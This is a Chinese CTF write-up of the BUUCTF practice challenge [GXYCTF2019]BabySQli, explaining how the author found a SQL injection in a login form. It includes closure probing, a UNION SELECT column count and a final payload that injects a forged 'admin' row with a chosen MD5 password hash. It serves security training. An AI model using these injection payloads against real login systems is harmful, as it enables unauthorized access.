BUUCTF在线评测-练习场-WebCTF习题[GXYCTF2019]BabySQli1-flag获取、解析
解题思路
打开靶场,题目提示是sql注入
输入数据,判断下闭合
1'1'
123
报错:
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1''' at line 1
报错提示数据库类型是mysql,并且可以发现一个1'和123不见了,报错的是'1'''。
这里可以获取两个信息
一是,用户名和密码是分开查询的,因为只报错了用户名部分,123不见了,如果是同一条语句查询,后面123也会显示。
二是,闭合为单引号,因为一个1'不见了,说明一个'将前面的单引号闭合,导致第一个1消失。为什么报错'1''',先去掉报错信息自动添加的单引号,变成1'',再去掉我们自己填的1',剩下的单引号就是语句查询的单引号,也就是我们提前闭合后,语句落下的单引号,也证实了这是单引号闭合。
接下来可以尝试,密码输入1'1',发现不报错,可以猜测,密码根本就没有去查询...
输入万能永真 用户名和密码:
1' or 1=1#
字符探测可以知道,是or被过滤了,使用大小写和双写绕过没有什么用
但是这里union 和 select 没有被过滤,用这个探测列数
1' union select 1,2,3,4#
Error: The used SELECT statements have a different number of columns
1' union select 1,2,3#
三列时不报错,说明是三列。
到这里,手工注入就可以倒下了..因为后面会发现括号也被过滤了..
只能看有没有更多的信息,然后抓包查看响应包、或者查看响应页面网页源码,可以发现一串编码
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
用AI或者其他工具,可以发现是用base32编码的,解码:
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
这个就比较明显是base64,解码:
select * from user where username = '$name'
也没啥信息,证实了我们之前说的...只查询了用户名。
后面就只能去看源码了,关键源码:
if($arr[1] == "admin"){if(md5($password) == $arr[2]){echo $flag;}else{die("wrong pass!");}}
可以看到1列必须是admin,然后2列必须是password的md5值的加密,才能输出flag。
那么这个数组1,2是什么呢。就是我们语句的2、3列。
1' union select 1,2,3#
1列呢,是flag,2列是我们的用户名,我们要填入admin,3列则是填入密码md5值的加密。
最坑的地方是,那么密码是什么?
结合前面说的,密码都没查询语句,其实,这里的3列密码就是我们自己输入的密码...
那么加密123456
e10adc3949ba59abbe56e057f20f883e
然后Payload就是输入用户名密码:
1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#
123456
成功显示
总结
结合代码审计的sql注入题,挺坑的,我感觉不如直接给源码得了,或者结合下文件包含什么的...